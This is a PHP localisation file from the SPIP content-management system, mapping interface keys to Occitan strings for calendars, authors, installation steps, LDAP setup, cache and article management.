'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) de vòstre sit',
// I
'ical_info1' => 'Aquela pagina mòstra de metòdes diferents per demorar en contacte amb la vida d’aquel sit.',
'ical_info2' => 'Per téner mai d’informacions sobre aquelas tecnicas, esitetz pas de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'ical_info_calendrier' => 'I a dos chalendèirs a la vòstra disposicion. Lo primèir es un plan dau sit qu’anóncia totes los articles publicats. Lo segond conten los anoncis editoriaus en mai de vòstres darrèirs messatges privats: vos es reservat gràcias a una clau personala, que la podètz modificar en tot moment en renovant vòstre mot de santa Clara. ',
'ical_methode_http' => 'Telecharjament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Los articles publicats en aquel sit se pòdon afichar aisat, dins totes los sits vòstres, en far servir una linha javascript. ',
'ical_texte_prive' => 'Aquel chalendèir, d’usatge estrictament personau, vos informa de l’activitat editoriala privada d’aquel sit (òbras e rendètz-vos personaus, articles e brèvas prepausats...).',
'ical_texte_public' => 'Aquel chalendèir vos permet de seguir l’activitat publica d’aquel sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Podètz sindicar las novetats d’aqueste sit dins quin legidor de fichèirs que siá en format XML/RSS (Rich Site Summary). Z-es maitot lo format que permet a SPIP de legir las novetats publicadas dins d’autres sits en utilizar un format d’eschamge compatible (sit sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrèir',
'ical_titre_rss' => 'Fichèirs «backend»',
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_afficher_auteurs' => 'Afichar los autors',
'icone_afficher_visiteurs' => 'Afichar los vesitaires',
'icone_arret_discussion' => 'Quitar aquela discussion',
'icone_calendrier' => 'Chalendèir',
'icone_creer_auteur' => 'Crear un autor nuòu e l’associar a aquel article',
'icone_creer_mot_cle' => 'Crear un mot clau nuòu e lo liar a aquel article',
'icone_creer_rubrique_2' => 'Crear una rubrica nuòva',
'icone_envoyer_message' => 'Mandar aquel messatge',
'icone_modifier_article' => 'Modificar aquel article',
'icone_modifier_message' => 'Modificar aquel messatge',
'icone_modifier_rubrique' => 'Modificar aquela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir aquela rubrica',
'icone_supprimer_signature' => 'Suprimir aquela signatura',
'icone_valider_signature' => 'Validar aquela signatura',
'image_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Podètz activar un <b>cookie de correspondéncia</b>; aquò vos permetrá de passar aisat dau sit public au sit privat.',
'info_admin_gere_rubriques' => 'Aquel administrator gerís las rubricas seguentas:',
'info_admin_gere_toutes_rubriques' => 'Aquel administrator gerís <b>totas las rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'dau sit(<i>d’utilizar amb precaucion</i>)',
'info_administrateur_site_01' => 'Se sètz administrator/tritz dau sit, volhatz',
'info_administrateur_site_02' => 'clicar aquel liam',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) dau sit public',
'info_afficher_visites' => 'Afichar las vesitas per:',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quand apondètz d’imatges coma estachaments junts a un article, SPIP pòt crear automaticament per vos de vinhetas (miniaturas) daus imatges inserits. Aquò permet per exemple de crear automaticament una galariá o un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent es apondut:',
'info_ajouter_rubrique' => 'Apondre una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci de las novetats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Los articles pòstdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Los articles d’aquel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo tèxt)',
'info_attente_validation' => 'Vòstres articles en apèita de validacion',
'info_aujourdhui' => 'anuèit:',
'info_auteur_message' => 'AUTOR DAU MESSATGE:',
'info_auteurs' => 'Los autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion extèrna',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de vòstra basa de donadas z-es installada.',
'info_chapeau' => 'Chapèl',
'info_chapeau_2' => 'Chapèl:',
'info_chemin_acces_1' => 'Opcions: <b>chamin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Ara devètz configurar lo chamin d’accès vèrs las informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions:<b>chamin d’accès dins l’annuari',
'info_choix_base' => 'Tresesma estapa:',
'info_classement_1' => '<sup>èir</sup> de @liste@',
'info_classement_2' => '<sup>nd</sup> de @liste@',
'info_code_acces' => 'Oblidetz pas vòstres còdes d’accès pròpris!',
'info_config_suivi' => 'S’aquela adreiça correspond a una lista de corrèir, podètz indicar çai sos l’adreiça ont los participants au sit se pòdon inscriure. Aquela adreiça pòt èstre una URL (per exemple la pagina d’inscripcion a la lista per lo web), o una adreiça e-mail tenent un subjècte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Vos podètz abonar a la lista de difusion d’aqueste sit. Adoncas recebretz per e-mail los anoncis d’articles e de brèvas que se prepausa a la publicacion.',
'info_confirmer_passe' => 'Confirmar aquel mot de santa Clara novèl:',
'info_connexion_base' => 'Segonda estapa: <b>Assai de connexion a la basa</b>',
'info_connexion_ldap_ok' => 'La connexion LDAP a abotit.</b><p> Podètz passar a l’estapa seguenta.</p>', # MODIF
'info_connexion_mysql' => 'Primèira estapa:<b>Vòstra connexion SQL</b>',
'info_connexion_ok' => 'La connexion a abotit.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut daus articles',
'info_creation_paragraphe' => '(Per crear de paragrafs, sufís que laissetz de linhas voidas.)', # MODIF
'info_creation_rubrique' => 'Avans de poder escriure d’articles,<br /> devètz crear per lo mens una rubrica.<br />',
'info_creation_tables' => 'Quatresma estapa: <b>Creacion de las taulas de la basa</b>',
'info_creer_base' => '<b>Crear</b> una basa de donadas novèla:',
'info_dans_rubrique' => 'Dins la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de publicacion:',
'info_date_referencement' => 'DATA DE REFERENCIAMENT D’AQUEL SIT:',
'info_derniere_etape' => 'Darrèira estapa: <b>Quo es ’chabat!',
'info_derniers_articles_publies' => 'Vòstres darrèirs articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Podètz activar o desactivar vòstra messatjariá personala sobre aquel sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Avans de poder escriure d’articles, vos chau crear per lo mens una rubrica.',
'info_email_envoi' => 'Adreiça e-mail d’enviament (opcionau)',
'info_email_envoi_txt' => 'Indicatz aicí l’adreiça d’utilizar per enviar los e-mails (a fauta d’aquò, s’utilizará l’adreiça destinatari coma adreiça d’enviament):',
'info_email_webmestre' => 'Adreiça e-mail dau responsable dau sit (opcionau)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Enviament d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar ara',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Podètz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Podètz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa vèrs @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo segut de l’activitat editoriala dau sit, SPIP vos pòt fornir per e-mail, per exemple a una lista de corrèir daus redactors, l’anonci de las demandas de publicacion e de las validacions d’articles.',
'info_fichiers_authent' => 'Fichèirs d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Vòstre sit web ofrís de forums per los abonats; dins lo sit public los vesitaires son convidats a se registrar.',
'info_gauche_admin_effacer' => '<b>A aquela pagina, mas los responsables dau sit lai pòdon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP vèrs lo sit web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>A aquela pagina, mas los responsables dau sit lai pòdon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP vèrs lo sit web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>A aquela pagina, mas los responsables dau sit lai pòdon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP vèrs lo sit web.</p>', # MODIF
'info_gauche_auteurs' => 'Trobaretz aicí totes los autors dau sit. La color de las icònas n’indica l’estatut (administrator = verd; redactor = jaune).',
'info_gauche_auteurs_exterieurs' => 'Los autors exteriors, sens accès vèrs lo sit, son indicats amb una icòna blava; los autors esfaçats amb un bordilhèir.', # MODIF
'info_gauche_messagerie' => 'La messatjariá vos permet d’eschamjar de messatges entre redactors, de servar de mementos (per vòstre usatge personau) o d’afichar d’anoncis sus la pagina d’acuèlh de l’espaci privat (se sètz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NUMÈRO',
'info_gauche_statistiques_referers' => 'Aquela pagina presenta la lista daus <i>referidors</i>, quò vòu dire daus sits que contenon de liams que menan vèrs vòstre quite sit, mas unicament per ièr e anuèi lo jorn: aquela lista s’actualiza chasca 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí los vesitaires registrats
dins l’espaci public dau sit (forums amb abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas daus imatges',
'info_gerer_trad' => 'Gerir los liams de revirada?',
'info_hebergeur_desactiver_envoi_email' => 'Quauques auberjadors desactivan l’enviament automatic
d’e-mails dempuèi lors servidors. En aquel cas, las foncionalitats seguentas
d’SPIP foncionarán pas.',
'info_hier' => 'ièr:',
'info_historique_activer' => 'Activar lo seguiment de las revisions',
'info_historique_affiche' => 'Afichar aquela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment de las revisions',
'info_historique_texte' => 'Lo seguiment de las revisions permet de servar un istoric de totas las modificacions que s’es portat au contengut d’un article, e d’afichar las diferéncias entre las versions successivas.',
'info_identification_publique' => 'Vòstra identitat publica...',
'info_image_process' => 'Volhatz seleccionar lo melhor metòde de fabricacion de las vinhetas en clicar sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se pas un d’imatge apareis, lendonc lo servidor qu’aubèrja vòstre sit l’an pas configurat per utilizar d’aisinas talas. Se desiratz d’utilizar aquelas foncions, contactatz lo responsable tecnic e demandatz las extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Cinquesma estapa: <b>Informacions personalas</b>',
'info_inscription_automatique' => 'Inscripcion automatica de redactors novèls',
'info_jeu_caractere' => 'Jòc de caractèrs dau sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'laissar aqueles champs voides)',
'info_langues' => 'Lengas dau sit',
'info_ldap_ok' => 'L’autentificacion LDAP z-es installada.',
'info_lien_hypertexte' => 'Liam ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tèira daus redactors connectats',
'info_login_existant' => 'Aquel login ja existís.',
'info_login_trop_court' => 'Login tròp cort.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dins la mesma rubrica',
'info_message' => 'Messatge dau',
'info_message_efface' => 'MESSATGE ESFAÇAT',
'info_message_en_redaction' => 'Vòstres messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjariá intèrna',
'info_mise_a_niveau_base' => 'Mesa a nivèl de vòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Avètz installada una version
daus fichèirs SPIP {anteriora} a la que i aviá
avans sobre aqueste sit: riscatz de pèrdre vòstra basa de donadas
e vòstre sit foncionará pas mai.<br />{{Tornatz installar los
fichèirs d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Mon sit SPIP',
'info_mot_sans_groupe' => '(Mots fòra grop...)',
'info_moteur_recherche' => 'Cerchador integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga per los articles?',
'info_multi_cet_article' => 'Lenga d’aqueste article:',
'info_multi_langues_choisies' => 'Volhatz seleccionar çai sos las lengas que son a posita daus redactors de vòstre sit.
Las lengas ja emplejadas dins vòstre sit (afichadas primèiras) se pòdon pas desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per las rubricas?',
'info_multi_secteurs' => '... mas per las rubricas a la raiç dau sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom dau destinatari',
'info_nom_site' => 'Nom de vòstre sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De pas desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòt mandar, regularament, l’anonci de las darrèiras novetats dau sit
(articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Pas mandar la tèira de las novetats',
'info_non_modifiable' => 'se pòt pas modificar',
'info_non_suppression_mot_cle' => 'vòle pas suprimir aquel mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges nuòus',
'info_nouvel_article' => 'Article nuòu',
'info_nouvelle_traduction' => 'Revirada nuòva:',
'info_numero_article' => 'ARTICLE NUMÈRO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion daus vesitaires dau sit public',
'info_option_faire_suivre' => 'Far sègre los messatges daus forums aus autors daus articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇADAS',
'info_ortho_activer' => 'Activar lo verificador d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificador d’ortografia',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina proïbida',
'info_par_nombre_article' => '(per nombre d’articles)',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Los dos mots de santa Clara son pas identics.',
'info_pense_bete_ancien' => 'Vòstres mementos ancians ', # MODIF
'info_plus_cinq_car' => 'mai de 5 caractèrs',
'info_plus_cinq_car_2' => '(mai de 5 caractèrs)',
'info_plus_trois_car' => '(mai de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Mas los administrators pòdon previsualizar lo sit',
'info_preview_comite' => 'Totes los redactors pòdon previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion z-es dau tot desactivada',
'info_preview_texte' => 'Z-es possible de previsualizar lo sit coma s’avián publicat totes los articles e brèvas (que tenon aumens l’estatut "prepausat"). La chau dobrir, aquela possibilitat, aus administrators solament, a totes los redactors, o a pas degun?',
'info_principaux_correspondants' => 'Vòstres correspondents principaus',
'info_procedez_par_etape' => 'procedissètz estapa per estapa',
'info_procedure_maj_version' => 'Chau lançar la procedura d’actualizacion per adaptar
la basa de donadas a la version novèla d’SPIP.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Vòstres articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’a las esqueletas de vòstre sit web se prevei lo registrament de vesitaires sens accès a l’espaci privat, volhatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que de redactors novèls s’inscrivan
a partir dau sit public? Se o acceptatz, los vesitaires se poirán inscriure
gràcias a un formulari automatizat e doncas accedirán vèrs l’espaci privat per
prepausar d’articles.<blockquote><i> Durant la fasa d’inscripcion, los utilizaires recebon un e-mail automatic
que lor baila un còde d’accès vèrs lo sit privat.
Quauques auberjadors autorizan pas l’enviament d’e-mails dempuèi lors servidors: en aquel cas, l’inscripcion automatica z-es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilizar lo cerchador integrat a SPIP? (lo desactivar abriva lo foncionament dau sistèma.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç dau sit',
'info_recharger_page' => 'Volhatz tornar charjar aquela pagina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròp de resultats per "@cherche_auteur@"; volhatz afinar la cèrcha.',
'info_recherche_auteur_ok' => 'Mai que d’un redactor trobat per "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Ges de resultat trobat per "@cherche_auteur@".',
'info_recommencer' => 'Volhatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’accedís vèrs l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Vòstres articles refusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aquel article remanda a la pagina:',
'info_reserve_admin' => 'Mas los administrators pòdon modificar aquela adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cèrcha:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadas (dins lo tèxt)',
'info_sans_titre' => 'Sens títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sos lo chamin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Los sits referenciats liats a aquel mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo tèxt)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aquel autor:', # MODIF
'info_statut_efface' => 'Esfaçat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit daus utilizaires importats',
'info_statut_utilisateurs_2' => 'Chausissètz l’estatut d’atribuir a las personas presentas dins l’annuari LDAP quand se connèctan per lo primèir còp. Poiretz puèi modificar aquel estatut per chasque autor un cas per un.',
'info_suivi_activite' => 'Segut de l’activitat editoriala',
'info_surtitre' => 'Sobretítol:',
'info_taille_maximale_vignette' => 'Talha maximala de las vinhetas congreadas per lo sistèma:',
'info_terminer_installation' => 'Ara podètz ’chabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt es long: apareis doncas en talhons distints que se tornarán empejar un còp validats.)',
'info_texte_message' => 'Tèxt de vòstre messatge:', # MODIF
'info_texte_message_02' => 'Tèxt dau messatge',
'info_titre' => 'Títol:',
'info_total' => 'totau: ',
'info_tous_articles_en_redaction' => 'Totes los articles en cors de redaccion',
'info_tous_articles_presents' => 'Totes los articles publicats dins aquela rubrica',
'info_tous_les' => 'totes los:',
'info_tous_redacteurs' => 'Anoncis per totes los redactors ',
'info_tout_site' => 'Tot lo sit ',
'info_tout_site2' => 'Z-an pas revirat l’article vèrs aquela lenga.',
'info_tout_site3' => 'Z-an revirat l’article vèrs aquela lenga, mas an portat puèi de modificacions a l’article de referéncia. Chau actualizar la revirada.',
'info_tout_site4' => 'Z-an revirat l’article vèrs aquela lenga, e la revirada z-es actualizada.',
'info_tout_site5' => 'Article originau.',
'info_tout_site6' => '<b>Atencion:</b> mas los articles originaus s’afichan.
Las reviradas s’assòcian a l’originau,
una color indica lor estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu sobre los articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DAU SIT:',
'info_urlref' => 'Liam ipertèxt:',
'info_utilisation_spip' => 'Ara podètz començar d’utilizar lo sistèma de publicacion assistida...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'dau sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires dau sit public',
'install_echec_annonce' => 'L’installacion patracará, o abotirá a un sit non foncionau...',
'install_extension_mbstring' => 'SPIP fonciona pas amb:',
'install_extension_php_obligatoire' => 'SPIP exigís l’extension php:',
'install_select_langue' => 'Seleccionatz una lenga puèi clicatz lo boton « seguent » per ’modar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar las inscripcions',
'item_activer_messages_avertissement' => 'Activar los messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dins lo chalendèir',
'item_autoriser_documents_joints' => 'Autorizar que se jonha de documents aus articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documents dins las rubricas',
'item_choix_administrateurs' => 'los administrators',
'item_choix_generation_miniature' => 'Congrear automaticament las miniaturas daus imatges.',
'item_choix_non_generation_miniature' => 'Pas congrear de miniaturas daus imatges.',
'item_choix_redacteurs' => 'los redactors',
'item_choix_visiteurs' => 'los vesitaires dau sit public',
'item_creer_fichiers_authent' => 'Crear de fichèirs .htpasswd',
'item_limiter_recherche' => 'Limitar la cèrcha a las informacions contengudas dins vòstre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'aus articles',
'item_mots_cles_association_rubriques' => 'a las rubricas',
'item_mots_cles_association_sites' => 'aus sits referenciats o sindicats',
'item_non' => 'Non pas',
'item_non_accepter_inscriptions' => 'Pas acceptar las inscripcions',
'item_non_activer_messages_avertissement' => 'Gran de messatge d’avertiment',
'item_non_afficher_calendrier' => 'De pas afichar dins lo chalendèir',
'item_non_autoriser_documents_joints' => 'Pas autorizar los documents dins los articles',
'item_non_autoriser_documents_joints_rubriques' => 'Pas autorizar los documents dins las rubricas',
'item_non_creer_fichiers_authent' => 'Pas crear aqueles fichèirs',
'item_non_gerer_statistiques' => 'Pas gerir las estadisticas',
'item_non_limiter_recherche' => 'Eslarjar la cèrcha au contengut daus sits referenciats',
'item_non_publier_articles' => 'Pas publicar los articles avans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'Pas utilizar lo motor',
'item_nouvel_auteur' => 'Autor nuòu',
'item_nouvelle_rubrique' => 'Rubrica nuòva',
'item_oui' => 'Òc be',
'item_publier_articles' => 'Publicar los articles, quina que siá lor data de publicacion',
'item_reponse_article' => 'Responsa a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cerchador',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Apondre aquel destinatari',
'lien_ajouter_auteur' => 'Apondre aquel autor',
'lien_ajouter_participant' => 'Apondre un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DAU SIT:',
'lien_retirer_auteur' => 'Tirar l’autor',
'lien_retrait_particpant' => 'Tirar aquel participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquela rubrica',
'lien_tout_deplier' => 'Desplejar tot',
'lien_tout_replier' => 'Tornar plejar',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUEL SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DE LAS RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PER LO SOBREVÒU', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chausida de vòstra basa',
'module_fichier_langue' => 'Fichèir de lenga',
'module_raccourci' => '’Corcha',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Podètz inserir las ’corchas seguentas dins las esqueletas de vòstre sit public. Se revirarán automaticament dins las diferentas lengas per las qualas existís un fichèir de lenga.',
'module_texte_traduction' => 'Lo fichèir de lenga «@module@» z-es disponible en:',
'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'per lo temps que vai',
// S
'statut_admin_restreint' => '(admin. restrent)', # MODIF
// T
'taille_cache_image' => 'Los imatges qu’SPIP a calculat automaticament (vinhetas daus documents, títols presentats en forma grafica, foncions matematicas en format TeX...) ocupan dins lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Aquel sit prevei ges de limitacion de talha dau repertòri <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP assaja de limitar la talha dau repertòri <code>CACHE/</code> d’aquel sit a <b>@octets@</b> de donadas environ.',
'taille_cache_octets' => 'Ara la talha de l’escondedor compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’escondedor z-es voide.',
'taille_repertoire_cache' => 'Talha dau repertòri escondedor',
'text_article_propose_publication' => 'Article prepausat per la publicacion. Esitetz pas de donar vòstre vejaire gràcias au forum estachat a aquel article (en bas de pagina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Quauques servidors LDAP accèptan ges d’accès anonim. En aquel cas, chau especificar un identificant d’accès iniciau per poder puèi cerchar d’informacions dins l’annuari. Pasmens, los champs seguents se poirán laissar voides dins lo pus mai daus cas.',
'texte_admin_effacer_01' => 'Aquela comanda esfaça <i>tot</i> lo contengut de la basa de donadas,
inclús <i>totes</i> los accès redactors e administrators. Un còp que l’auretz executada, auretz de tornar lançar l’installacion d’SPIP per tornar crear una basa novèla e mai un primèir accès administrator.',
'texte_adresse_annuaire_1' => '(Se vòstre annuari z-es installat sobre la mesma maquina qu’aquel sit web, s’agís probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat apondut a l’article:',
'texte_annuaire_ldap_1' => 'S’accedissètz a un annuari (LDAP), lo podètz utilizar per importar automaticament d’utilizaires sos SPIP.',
'texte_article_statut' => 'Aquel article es:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referenciat dins vòstre sit SPIP, mas redirigit vèrs una autra URL. Per suprimir la redireccion, esfaçatz l’URL çai sobre.',
'texte_aucun_resultat_auteur' => 'Gran de resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aqueste sit vos pòt indicar de contunh la lista daus redactors connectats, çò que vos permet d’eschamjar de messatges en dirècte. Podètz decidir de pas aparéisser dins aquela lista (sètz "invisible/a" per los autres utilizaires).',
'texte_auteur_messagerie_1' => 'Aquel sit permet d’eschamjar de messatges e de constituir de forums de discussion privats entre los participants dau sit. Podètz decidir de pas participar a aqueles eschamges.',
'texte_auteurs' => 'LOS AUTORS',
'texte_choix_base_1' => 'Chausissètz vòstra basa:',
'texte_choix_base_2' => 'Lo servidor SQL conten mai que d’una basa de donadas.',
'texte_choix_base_3' => '<b>Chausissètz</b> çai sos aquela que vòstre auberjador vos a atribuida:',
'texte_commande_vider_tables_indexation' => 'Utilizatz aquela comanda per voidar las taulas d’indexacion utilizadas per lo cerchador integrat a SPIP. Aquò permetrá
de ganhar d’espaci disc.',
'texte_compresse_ou_non' => '(Aqueste se pòt comprimir o non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz las informacions que vòstre auberjador fornís: lai devètz trobar, se vòstre auberjador supòrta SQL, los còdes de connexion au servidor SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en quauques mots.)',
'texte_contenu_articles' => 'Segon la maqueta que vòstre sit a adoptada, podètz decidir
que quauques elements daus articles s’utilizen pas.
Utilizatz la tèira çai sos per indicar quins elements son disponibles.',
'texte_crash_base' => 'Se vòstra basa de donadas a
patracat, podètz assajar una reparacion
automatica.',
'texte_creer_rubrique' => 'Avans de poder escriure d’articles,<br /> devètz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'DATA DE PUBLICACION ANTERIORA :',
'texte_date_publication_anterieure_nonaffichee' => 'Afichar ges de data de publicacion anteriora.',
